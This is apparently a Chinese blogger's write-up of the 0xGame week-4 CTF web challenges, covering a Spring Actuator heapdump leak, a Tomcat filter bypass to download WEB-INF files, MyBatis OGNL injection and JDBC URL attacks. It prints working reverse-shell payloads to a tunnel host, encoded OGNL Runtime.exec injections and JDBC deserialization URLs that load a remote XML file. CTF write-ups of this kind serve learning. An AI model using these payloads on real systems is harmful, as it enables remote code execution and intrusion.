0xGame week4-WEB wp

发布时间 2023-11-24 13:14:06作者: Eddie_Murphy

0xGame个人结语

完结撒花!!!学到了很多很多,算是我这个WEB菜鸡过渡期的一个见证吧。0xGame虽然也没做出来几道(大嘘),但是一步步跟着复现也学了很多好玩的知识点和思路,希望下次能进化成WEBak哥hhhhhh~~~~

来看最后一周,全是java框架,麻了。

spring

整体不难,hint把解题方法基本写脸上了,网上一搜就是。

【精选】Springboot信息泄露以及heapdump的利用_heapdump漏洞_李白你好的博客-CSDN博客

Springboot之Actuator的渗透测试和漏洞修复_actuator/heapdump_抹香鲸之海的博客-CSDN博客

【精选】Springboot之Actuator信息泄露漏洞利用_actuator/env_Java海的博客-CSDN博客

读env看到这里,那说明我们应该读app.password密码,这个密码就是flag。

用一个java的visualvm工具处理heapdump文件查看泄露信息,但是高版本java没有这个内置的工具了,要去github上自己下。

然后就是OQL里面搜,payload都是现成的(但是另外有个toString的payload我梭不出来,放弃了..)

select s from java.util.LinkedHashMap$Entry s where /app.password/.test(s.key)

找value就有了:

auth_bypass

点进去两眼一抹黑,直接看hint:

Tomcat Filter 绕过 + Java 任意⽂件下载搭配 WEB-INF ⽬录的利⽤。
根据官方wp的说法,从⽹上的⽂章可以知道, 直接通过 getRequestURI() 得到的 url 路径存在⼀些问题, ⽐如不会⾃动 urldecode, 也不会进⾏标准化 (去除多余的 / 和 .. )
 
看看附件的源码有什么东西先:

首先是这里的/download路由有过滤,把..给ban掉不让路径穿越,而且/download不能直接用,但是搜了下就知道两个/就可以绕过了,即//download。

这是另一个DownloadServlet的文件,结合hint就知道可以实现任意目录下载。

测试一下发现,这个可以下载avatar.jpg,但是不能直接下flag。

题目说是war打包的,这个 war 其实也就相当于压缩包, Tomcat 在部署 war 的时候会将其解压, ⽽压缩包内会存在⼀个 WEB-INF ⽬录,⽬录⾥⾯包含编译好的 .class ⽂件以及 web.xml (保存路由和类的映射关系)

网上搜一下:

我们下载这个web.xml试试:

(%2e就是 . )

 

注意到这里的EvilServlet,映射的路由为 /You_Find_This_Evil_Servlet_a76f02cb8422

同时看到这里可以用来构造url:

看了下下面的博客,了解到如何利用映射路由下载.class文件:

WEB-INF/web.xml泄露漏洞及其利用-CSDN博客

使用java反编译工具打开class字节码文件,这里我用的是jd-GUI:

Evil_Cmd_Arguments_fe37627fed78   就是我们POST传参的参数名,这就用上了前面的映射路由,显然exec可以RCE。

后面看了官方wp才知道没有回显,还好我直接反弹shell?:

因为url传参直接传命令传不进去,所以建议先转一个base64然后url编码:

//反弹shell
bash -c "bash -i >& /dev/tcp/server.natappfree.cc/41415 0>&1"

//url编码后+echo命令结合执行:
//先将bash -i 部分base64,然后url编码
bash%20-c%20{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy80MTQxNSAwPiYx}|{base64,-d}|{bash,-i}

 

也可以用这些脚本网站一键生成:

java.lang.Runtime.exec() Payload Workarounds - @Adminxe

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

官方wp给出了解释原因:

Java 命令执行之我见-安全客 - 安全资讯平台 (anquanke.com)

Java下多种执行命令的姿势及问题 - Y4er的博客

 

唉后面俩题就只能乖乖打复现了,真不会啊....

YourBatis

java有个框架叫Mybatis,应该就是这个题目的知识点。

考点: MyBatis 低版本 OGNL 注⼊。
先下载附件,得到一个二进制jar包。
关注pom.xml:
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.1.1</version>
</dependency>
存在 mybatis 依赖, 版本 2.1.1, 该版本存在 OGNL 表达式注⼊。
 
贴一个官方的注入原理链接:
 
接下来要对附件这个jar包反编译,题目让我们不用jd-GUI用jadx-GUI或者IDAE,但是没懂原理,官方wp解释了一下:

找到sql注入关键点:

看了参考文章就知道了,这里的username是被直接拼进去的,也就是说有SQL注入/OGNL注入漏洞。

用参考文章的payload,直接反弹shell:

${@java.lang.Runtime@getRuntime().exec("bash -c{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy80MTQxNSAwPiYx}|{base64,-d}|{bash,-i}")}

但官方还有一个hint就是{ }会失败,解释如下:

也就是把这个RCE命令整体再base64一下,得到最终payload:

${@java.lang.Runtime@getRuntime().exec(new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzl6WlhKMlpYSXVibUYwWVhCd1puSmxaUzVqWXk4ME1UUXhOU0F3UGlZeH18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9')))}

再url全编码:(这里用了个网上搜的脚本)

源码里能找到传参路由是/user,参数名是username,方式是get:

http://124.71.184.68:50043/user?username=%24%7b%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%40%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%27%59%6d%46%7a%61%43%41%74%59%79%42%37%5a%57%4e%6f%62%79%78%5a%62%55%5a%36%59%55%4e%42%64%47%46%54%51%53%74%4b%61%55%46%32%57%6b%64%57%4d%6b%77%7a%55%6d%70%6a%51%7a%6c%36%57%6c%68%4b%4d%6c%70%59%53%58%56%69%62%55%59%77%57%56%68%43%64%31%70%75%53%6d%78%61%55%7a%56%71%57%58%6b%34%4d%45%31%55%55%58%68%4f%55%30%46%33%55%47%6c%5a%65%48%31%38%65%32%4a%68%63%32%55%32%4e%43%77%74%5a%48%31%38%65%32%4a%68%63%32%67%73%4c%57%6c%39%27%29%29%29%7d

在环境变量里找到flag:

TestConnection

考点: MySQL / PostgreSQL JDBC URL Attack
JDBC 就是 Java ⽤于操作数据库的接⼝, 通过⼀个统⼀规范的 JDBC 接⼝可以实现同⼀段代码兼容不同类型数据库的访问。
JDBC URL 就是⽤于连接数据库的字符串, 格式为 jdbc:db-type://host:port/db-name?param=value
db-type 就是数据库类型, 例如 postgresql, mysql, mssql, oracle, sqlite
db-name 是要使⽤的数据库名param 是要传⼊的参数, ⽐如 user, password, 指定连接时使⽤的编码类型等等
当 jdbc url 可控时, 如果⽬标⽹站使⽤了旧版的数据库驱动, 在特定情况下就可以实现 RCE

参考文章:

MYSQL JDBC反序列化解析 - 跳跳糖 (tttang.com)

PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724) - 先知社区 (aliyun.com)

奇安信攻防社区-PostgreSQL JDBC Driver RCE(CVE-2022-21724)与任意文件写入漏洞利用与分析 (butian.net)

 

查看pom.xml:

尤其是:

 

⼀些 mysql jdbc 利⽤⼯具:

/testConnection?driver=com.mysql.cj.jdbc.Driver&url=jdbc:mysql:///test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&username=deser_CC31_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy80MTQxNSAwPiYx}|{base64,-d}|{bash,-i}&password=123

怎么越做越有点逆向的味道了???

用这个方法没做出来,但还有个postgresql的方法,再挂个隧道映射一下公网ip,然后写入XML:

payload:

/testConnection?driver=org.postgresql.Driver&url=jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://c8zqff.natappfree.cc/poc.xml&username=123&password=123

参数部分url全编码:

/testConnection?driver=org.postgresql.Driver&url=%6a%64%62%63%3a%70%6f%73%74%67%72%65%73%71%6c%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%35%34%33%32%2f%74%65%73%74%3f%73%6f%63%6b%65%74%46%61%63%74%6f%72%79%3d%6f%72%67%2e%73%70%72%69%6e%67%66%72%61%6d%65%77%6f%72%6b%2e%63%6f%6e%74%65%78%74%2e%73%75%70%70%6f%72%74%2e%43%6c%61%73%73%50%61%74%68%58%6d%6c%41%70%70%6c%69%63%61%74%69%6f%6e%43%6f%6e%74%65%78%74%26%73%6f%63%6b%65%74%46%61%63%74%6f%72%79%41%72%67%3d%68%74%74%70%3a%2f%2f%63%38%7a%71%66%66%2e%6e%61%74%61%70%70%66%72%65%65%2e%63%63%2f%70%6f%63%2e%78%6d%6c&username=123&password=123

环境变量拿下flag: